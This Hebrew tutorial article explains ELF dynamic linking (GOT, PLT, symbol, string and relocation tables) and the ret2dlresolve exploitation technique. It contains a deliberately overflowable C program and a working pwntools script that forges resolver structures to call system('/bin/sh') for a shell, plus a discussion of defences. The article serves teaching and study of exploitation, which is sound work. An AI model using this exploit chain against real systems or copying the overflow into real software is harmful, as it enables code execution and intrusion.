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 ret2dlresolve -בחזרה למקורות 

 מאת יאיר קוסקס

 

 הקדמה

, אחד הדברים הראשונים שהוא לומד הוא שלבי המעבר מקוד Cכאשר כל מפתח מתחיל ללמוד את שפת 

, מיד לאחר מכן objectלקובץ ריצה. ראשית המהדר עושה את עבודתו ומייצר לנו קבצי  Cהכתוב בשפת 

 מאחד את הקבצים ומוסיף ספריות דינאמיות, והרי לנו קובץ ריצה. linker-ה

עד היום בתור תוקפים, לא חשבנו יותר מדי על הלינקר. מבחינתנו הוא איזו קופסה שחורה שמביאה לנו 

בקשה. אך מה אם נוכל לנצל את הלינקר על מנת לתקוף את התוכנית? לתקיפה  פונקציות ומשתנים לפי

 , ועליה אפרט במאמר זה.ret2dlresolveמסוג זה נקרא 

 

 מעט רקע

אלא משתמש , אנו יודעים כי קובץ ריצה אינו שומר את כל הפונקציות שבהן הוא משתמש בתוכנית עצמה

 .או מקטעי קוד אחרים שהמפתח כתבבלינקר על מנת לייבא את הפונקציות מספריות 

. אנו לא יודעים את הכתובת של הפונקציה בה אנו רוצים להשתמש בזמן ריצה -אך עדיין יש בעיה אחת 

 ?אז איך בכל זאת אנו משתמשים בפונקציות הללו

אנו נפנה ללינקר ונבקש ממנו , כאשר אנו רוצים לדעת את הכתובת עבור פונקציה בזמן ריצה, בקצרה

( כן כן זה רמז מטרים) .dl_runtime_resolveא לנו את כתובת הפונקציה על ידי שימוש במתודה למצו

כך בפעם . GOT-הוא יכתוב אותה אל הכניסה המתאימה לפונקציה ב, כאשר הלינקר ימצא את הכתובת

וא ולא נבזבז זמן על למצ, נוכל לגשת ישירות אל הכתובת שמצאנו כבר, הבאה שנרצה לקרוא לפונקציה

 .את הכתובת בכל קריאה

אנו נצטרך להבין כיצד הלינקר מוצא את הפונקציה בספרייה , אם נרצה לתקוף את המנגנון הזה

 .המקושרת
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 PLT-וה GOT-ה

 PLT-וה( Global Offset Table של)קיצור  GOT-ה, כעת נסתכל על שני מבנים חשובים מאוד בקובץ הריצה

 (.Procedure Linkage Table)קיצור של 

. המכילה מצביעים לאובייקטים שכתובתם אינה ידועה בזמן ריצה, היא טבלה הנמצאת בתוכנית GOT-ה

 ? מה זאת אומרת". עצלנית"הלינקר דואג למלא את הטבלה בצורה , בזמן ריצת התוכנית

במידה והכתובת . GOT-היא פונה אל ה, כאשר התוכנית מבקשת לגשת לאובייקט שכתובתו אינה ידועה

הלינקר יפעיל , GOT-אך במידה והכתובת עוד לא נכתבה ב. תחזיר לה את האובייקט GOT-ה, שםקיימת 

כיוון שלא כל , lazy loadingלשיטה זו אנו קוראים . GOT-ימצא את הכתובת ויכתוב אותה ב, את קסמיו

 שיטה זו. אלא התוכנית עצלנית ובודקת את הכתובת רק בעת הצורך, הכתובות ידועות על ההתחלה

 symbols-שכן אנו לא צריכים למצוא את כתובות כל ה, מייעלת את זמן טעינת התוכנית באופן משמעותי

 .שאינם ידועים בזמן ריצה בזמן הטעינה

 קצת העשרה

ולכן היא יעד חם עבור תוקפים הרוצים לשנות את זרם ריצת התוכנית דרך , היא טבלת מצביעים GOT-ה

נוכל לקרוא לה דרך , לדוגמה ערך של פונקציה, GOT-ך כרצוננו באם נוכל לשכתב ער. שינוי המצביע

 .GOT Overwriteלתקיפה זו קוראים  .שהוא הערך שכתבנו, GOT-אך בפועל ייקרא מה שיש ב, התוכנית

-ו Full RELRO :חלקים 2-והיא מתחלקת ל RELRO - Relocation Read Onlyהגנה מול תקיפה זו נקראת 

partial RELRO. 

Full RELRO היא הגנה ההופכת את ה-GOT לאחר טעינת התוכנית( קריאים בלבד, כלומר)כתיב -ללא .

ולכן , אך גורם לזמן טעינת התוכנית להיות גדול משמעותית, GOT Overwritesדבר זה אמנם מגן מפני 

 GOTמה שמונע, בתוכנית bss-להופיע לפני ה GOT-שגורם ל, partial RELRO-לרוב משתמשים ב

Overwrites  בעזרתOverflow על משתנה גלובלי. 

 חזרה לענייננו

השימוש בה הוא די , היא טבלה המכילה כניסות לכל פונקציה שכתובתה אינה ידועה בזמן ריצה PLT-ה

 Global Offset-קפוץ לכניסה המתאימה לה ב, כאשר ישנה קריאה לפונקציה המקושרת דינאמית, פשוט

Table . הראשונה לפונקציה הזו ועוד לא כתבנו את הכתובת שלה באך מה אם זוהי הקריאה-GOT ?

מאותחלות לכתובת פרוצדורה המכניסה את הפרמטרים המתאימים של  GOT-כל הכניסות של ה, למזלנו

נכתוב את , מיד לאחר שמצאנו את הכתובת של הפונקציה. dl_runtime_resolveלפונקציה  symbol-ה

כך לא נצטרך למצוא את הכתובת של הפונקציה בכל פעם שנרצה . GOT-הכתובת בכניסה המתאימה ב

 .ונקפוץ לשם GOT-אלא פשוט נסתכל בכניסה ב, לקרוא לה
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ELF Dynamic Section 

הוא פורמט סטנדרטי של קבצי ריצה. פירוט עליו ועל המבנים שבו נמצא במאמר המעולה  ELFהפורמט 

Executable Linkable Format -ELF . החלק הרלוונטי לכל הנוגע ב-linking בקובץ הELF נמצא ב-dynamic 

section. 

בחלק זה, נמצא את כל המידע המועבר ללינקר בעת הרצת התוכנית, את המידע הנמצא במקטע זה ניתן 

ונצפה ” Hello Worldנכתוב תוכנית ", , נראה דוגמה d-readelf, באמצעות readelfלראות בעזרת הכלי 

 הדינאמי שלה:במקטע 

#include <stdio.h> 

int main() { 

    printf("Hello World!\n"); 

} 

 .dynamic linking-למעשה, המקטע הדינאמי הוא סדרה של מבנים המחזיקים מידע רלוונטי ל

, שערכו מעיד על האופן d_tag-ה -, המכיל את המזהה איבר שלו ElfW_Dyn כל איבר בסדרה זו הוא מסוג

, אנו יודעים כי המבנה מחזיק DT_NEEDEDהוא  d_tag-לטפל במידע. לדוגמה, אם באיבר מסוים הבו יש 

מצביע לשם של ספרייה נחוצה לתוכנית, לכן נראה במקטע הדינאמי בעמוד הבא כי הערך של מבנה מסוג 

DT_NEEDED הערך של המבנה שמור ב. יהיה שם של ספרייה כלשהי הנחוצה לתוכנית-union יע של מצב

(ElfW_Addr( ושל ערך )ElfW_Wor): 

 

https://www.digitalwhisper.co.il/files/Zines/0x47/DW71-2-ELF.pdf
https://www.digitalwhisper.co.il/files/Zines/0x47/DW71-2-ELF.pdf
https://man7.org/linux/man-pages/man1/readelf.1.html
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, ואכן ערכו הוא שם של ספרייה DT_NEEDEDכפי שניתן לראות, האיבר הראשון במקטע הוא מסוג 

  .libc -הנחוצה לתוכנית 

שמורה ללינקר לבצע את כל הרילוקציות לפני שהוא נותן  BIND_NOWלראות גם דגלים כמו  ניתן בין היתר

שמורה  NULL, והאיבר Global Offset Table-שערכו הוא מיקום ה PLTGOTהאיבר  לתוכנית להתחיל לרוץ,

 .dynamic section-על סיום ה

 .קישור הזהומשמעותם, ניתן להיכנס ל tags-לרשימה מלאה של כל ה

 .JMPREL-וה STRTAB ,SYMTAB: נתעמק בחלקים הקשורים במציאת כתובת פונקציה בזמן ריצהכעת בואו 

 

SYMTAB 

 64או  32הוא  Wכאשר  ElfW_Sym, טבלה שכל כניסה בה היא מסוג symbols-היא טבלת ה SYMTAB-ה

(, STRTAB-, כגון השם )אינדקס בsymbol-מכיל מידע רלוונטי על ה ElfW_Symבהתאם לארכיטקטורה. 

המידע הקיים בטבלה זו נצרך על ידי הלינקר על מנת לאתר ולקשר בין סימנים שונים ’. הגודל, הערך וכו

 בתוכנית.

STRTAB 

המתוארים  symbols-בה נמצא בדרך כלל את שמות כל ה, היא טבלת המחרוזות של התוכנית STRTAB-ה

נלך לערך , SYMTAB-המתואר ב symbol-על מנת למצוא את שם ה, לפי האינדקס בטבלה זו SYMTAB-ב

st_name  של המבנהElfW_Sym של ה-symbol המתאים ושם נמצא את האינדקס של ה-symbol בטבלה. 

JMPREL 

או  32הוא  Wכאשר  ElfW_Relטבלה שכל כניסה בה היא מסוג , Relocations-היא טבלת ה JMPREL-ה

הוא . מסוים symbolשל ( הזזה) Relocation-מכיל מידע רלוונטי ל ElfW_Rel. בהתאם לארכיטקטורה 64

 .SYMTAB-ואת האינדקס בטבלת ה Relocation-מידע על סוג ה(, ElfW_Addr)מכיל את הכתובת 

 

  

https://docs.oracle.com/cd/E23824_01/html/819-0690/chapter6-42444.html
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 אז איך זה באמת קורה?

 כעת נבין לעומק כיצד הלינקר מוצא לנו כתובות של פונקציות בזמן ריצה.

כיצד הלינקר מוצא את כתובות הפונקציות בהן  פשוטה, ונסתכל” Hello Worldראשית ניצור תוכנית "

 :מטעמי נוחות( PIEביט ללא  32-השתמשנו בתוכנית )התוכנית קומפלה ל

#include <stdio.h> 

#include <unistd.h> 

int main() { 

    char buf[20]; 

    read(0, buf, 19); 

    buf[19] = '\0'; 

    printf("Hello World %s!\n", buf); 

    return 0; 

} 

 

 :PLT-ב readנביט בכניסה של 

 

עלינו קודם למצוא את , כמובן. libc-ב readאינה ישר קופצת לפונקציה  read-אנו רואים ראשית הקריאה ל

שם בעתיד נשמור ) 0x804c00cמתבצעת קפיצה לכתובת  readאנו רואים כי עם הקריאה ל. הכתובת שלה

נביט . 0x8049040נביט מה יש בכתובת הזו ונראה כי היא מצביעה לכתובת (, readאת הכתובת של 

 .0x8049030 :וקוראת לעוד כתובת, בכתובת הזו ונראה כי היא דוחפת פרמטר על המחסנית

 

סוף סוף הגענו לחלק המעניין )אם היה קשה לעקוב עד עכשיו, מומלץ לקמפל תוכנית משלכם ולנסות את 

, 0x804c008-פים פרמטר כלשהו על המחסנית וקופצים לפונקציה שנמצאת בזה בבית(. כעת אנו דוח

הם  dl_runtime_resolve-. הפרמטרים אותם העברנו לdl_runtime_resolveשהיא )כן כן ניחשתם נכון( 

 , שזה שם מפוצץ לרשימת כל הספריות הטעונות. 0x804c004הנמצאת בכתובת  link map-ה

 .JMPREL Table-של הפונקציה ב offset-בנוסף העברנו גם את ה
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עובדת, אך ניתן לקצר ולומר כי הפונקציה מוצאת את שם  dl_runtime_resolveלא נצלול עמוק מדי לאיך 

 .link map-עם ה symbol-, ומשם מחפשת את הJMPREL Table-בעזרת הכניסה ב symbol-ה

 

 איך מנצלים את זה? אז

כיצד נוכל לנצל את כל המנגנונים (. Buffer overflow) גלישת חוצץנניח שיש לנו בתוכנית חולשה מסוג 

 ?עליהם למדנו עד כה

מזויפים עבור הפונקציה  ElfW_Sym-ו ElfW_Relנמצא אזור כתיב בזיכרון בו נוכל להכין מבני , ראשית

עם  dl_runtime_resolve-לאחר מכן נקרא ל (.execveאו  systemלרוב זו תהיה )אליה נרצה לקרוא 

ולא היינו צריכים אפילו הדלפה של , והרי לנו קריאה לפונקציה שרירותית, הפרמטרים המזויפים שלנו

 !.כתובת

מה , אך אנחנו לא יכולים לכתוב אליה, JMPREL Table-מה offsetאנו צריכים לתת לפונקציה , אבל רגע

מספיק גדול כך שיצביע  offsetאין בדיקה על גבולות הטבלה ואנו יכולים פשוט לתת , למזלנו? נעשה

 .bss-בדרך כלל נכתוב את המידע על ה, לחלק שאנו כתבנו

 

 שנראה דוגמה?

 :נסתכל על התוכנית הבאה

#include <unistd.h> 

void vuln() { 

    char buf[20]; 

    read(0, buf, 200); 

} 

 

int main(int argc, char* argv[]) { 

    vuln(); 

} 

. בתים 200בתים ואנו נותנים למשתמש לכתוב אליו  20יש לנו חוצץ בגודל , החולשה בתוכנית ברורה

 .shellעל מנת להשמיש את החולשה בתוכנית ולפתוח  ret2dlresolve-נשתמש ב

 :את התוכניתנקמפל 

gcc vuln.c -o vuln -fno-stack-protector -no-pie 

נרצה לדעת כמה תווים נצטרך לכתוב לפני שנדרוס את כתובת , כיוון שמדובר בחולשה מסוג גלישת חוצץ

 .החזרה של הפונקציה

https://www.digitalwhisper.co.il/files/Zines/0x0B/DW11-6-BoF101.pdf
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 :20-ונכניס אליה קלט גדול מ, gdbנדבג את התוכנית בעזרת , על מנת לעשות זאת

 

, KKKKLLLשהם  0x4c4c4c4c4b4b4b4bוראינו כי אנו דורסים את כתובת החזרה עם  ABC’s-הכנסנו את ה

 .תווים לפני שאנו דורסים את כתובת החזרה 40ולכן אנו צריכים לכתוב 

, נצטרך למצוא חלק כתיב בזכרון, בשביל לעשות זאת, עצמו ret2dlresolve-נרצה לכתוב את ה, כעת

 . ולקרוא לה עם פרמטר לבחירתנו( systemעבור הפונקציה , נגיד)לכתוב אליו את המבנים המזויפים שלנו 

אז לא נצטרך לכתוב את כל המבנים , מוכן לכל הקשור בתקיפה הזו APIיש  pwntoolsלספרייה , למזלנו

כניקה מעבר מי שרוצה להשמיש את הט)לטפל לנו בזה  pwntools-אלא ניתן ל, והקריאות בעצמנו

, מאפס ROP Chain-ניתן ממש ליצור את ה, מביאה לנו בנחמדות pwntools-לשימוש בקופסה שחורה ש

-הקריאה ל, יצרה על מנת לראות את המבנים המזויפים pwntools-ש ROP Chain-או לדבג את ה

dl_runtime_resolve וכו’.) 
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 :הקוד

#!/usr/bin/python3 

from pwn import * 

 

context.binary = elf = ELF('./vuln') 

rop = ROP(context.binary) 

dlresolve = Ret2resolvePayload(elf, symbol="system", argv=["/bin/sh"]) 

rop.read(0,dlresolve.data_addr) 

rop.ret2dlresolve(dlresolve) 

raw_rop = rop.chain() 

print(rop.dump()) 

 

p = process('./vuln') 

p.sendline(fit({40: raw_rop, 200: dlresolve.payload})) 

p.interactive() 

הפונקציה , עם הבינארי Ret2dlresolvePayloadראשית אנו מאתחלים את האובייקט , כפי שניתן לראות

 .והפרמטרים אליה, שאליה נרצה לקרוא

 :(קריאה נעימה: ROPמי שפחות מכיר , )שלנו ROP-ל ret2dlresolve-אנו מוסיפים את ה, לאחר מכן

נסכם את מה . לתוכנית payload-ונשלח את ה,  gdbשמצאנו בעזרת ( 40)שלנו  padding-מוסיפים את ה

-נקרא ל. systemתיקרא עם פרמטרים מזויפים שיגרמו לה להחזיר את  dl_runtime_resolve: שיקרה

system  עם פרמטר"bin/sh ,”/ והרי לנוshell. 

 

https://www.digitalwhisper.co.il/files/Zines/0x5C/DW92-1-ROPS.pdf
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 יתרונות וחסרונות

 יתרונות:

מה שהופך את , יתרון גדול של הטכניקה הזו הוא שהיא לא דורשת שום הדלפה של כתובת מספרייה

 .ret2libcופה נמצא ההבדל הגדול בינה לבין , הטכניקה לחזקה ויעילה מאוד

או , עבור מקטע מסוים RWX permissions-נרצה לשנות את ה, לרוב כהכנה למתקפות אחרות, בנוסף

או  shellcodeהמתאים בעזרת  syscall-בדרך כלל הדבר היה כרוך בקריאה ל, socketשנרצה ליצור 

 Ret2dlresolve. דבר שלא תמיד אפשרי, syscall gadgetבמידה והתמזל מזלנו ומצאנו  ROPבעזרת 

ולכן ניתן לקרוא , קיים syscallיש פונקציית מעטפת לכמעט כל  libc-שכן ל, הופכת את הדבר ליותר פשוט

 .לפונקציות המעטפת במקום

 

 חסרונות:

Ret2dlresolve למאוד מאוד שימושית ובמקרים מסוימים גם הופכת את החיים , היא אכן טכניקה מגניבה

 .אך היא לא תמיד ישימה, קלים

עדיף להשתמש בטכניקות אחרות , רחוק משמעותית מאיזורים כתיבים text section-במקרים בהם ה

יש סיכוי , שלנו הוא יחסית קטן overflow-אם גודל ה, בנוסף(. ולפעמים גם לא ניתן להשתמש בה כלל)

 .בתוך החוצץ payload-שלא נצליח להכניס את כל ה

 

 ret2dlresolveהגנות אפשריות מול 

 dl_runtime_resolveכאשר , כלומר, JMPREL Table-הגנה אפשרית לתקיפה זו היא וידוא גבולות ב

 JMPREL-היא תוודא כי הכניסה המתאימה אכן נמצאת ב, JMPREL Table-מה offset-מחשבת את ה

Table ,ובכך להפוך את התקיפה לחסרת תועלת. 

בעזרת , dynamic section-שמסמל את סוף ה symbol-צורה דומה לאיך שממומש הניתן לממש זאת ב

flag הדבר ייצור תקורה של חישוב גודל בכל, מה שכן, ייעודי ובכך לחשב את גודל הטבלהdynamic 

resolving ( תקורת מימוש ההגנה מול חשיבות ההגנה -דיון מעניין שניתן לפתח על זה.) 
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 סיכום

הראנו באילו מבנים הלינקר , את תהליך מציאת כתובת פונקציה דינאמית בזמן ריצה במאמר זה סקרנו

 .משתמש על מנת לעשות זאת ואיך הם נראים בזיכרון

של הלינקר  dynamic resolving-טכניקה שתוקפת את מנגנון ה, ret2dlresolveבנוסף סקרנו את הטכניקה 

שיטה זו היא שיטה שימושית לקריאה . dynamic resolver-באמצעות זיוף המבנים שתוארו במנגנון ה

 .בלא צורך בהדלפת כתובת, לפונקציות שאינן נמצאות בתוכנית

 

 על המחבר

 .בשביל הכיף pwnablesופותר  binary exploitation-מתעניין ב. מגבעת שמואל 17בן , יאיר קוסקס

 .זו זכות גדולה אז לתרום לו בחזרה, שמעתי על המגזין מחבר ומאז לא הפסקתי לקרוא

 !תודה רבה על הקריאה

 :הערות ופניות באופן כללי אני זמין במייל, לשאלות

yairi2003@gmail.com 

 

 ביבליוגרפיה

 Elf man page: https://man7.org/linux/man-pages/man5/elf.5.html 

 Ret2dlresolve: http://phrack.org/issues/58/4.html 

 The Art of ROP’s: https://www.digitalwhisper.co.il/files/Zines/0x5C/DW92-1-ROPS.pdf 

 Buffer Overflows 101: https://www.digitalwhisper.co.il/files/Zines/0x0B/DW11-6-BoF101.pdf 

 ELF - Executable Linkable Format: https://www.digitalwhisper.co.il/files/Zines/0x47/DW71-2-

ELF.pdf 
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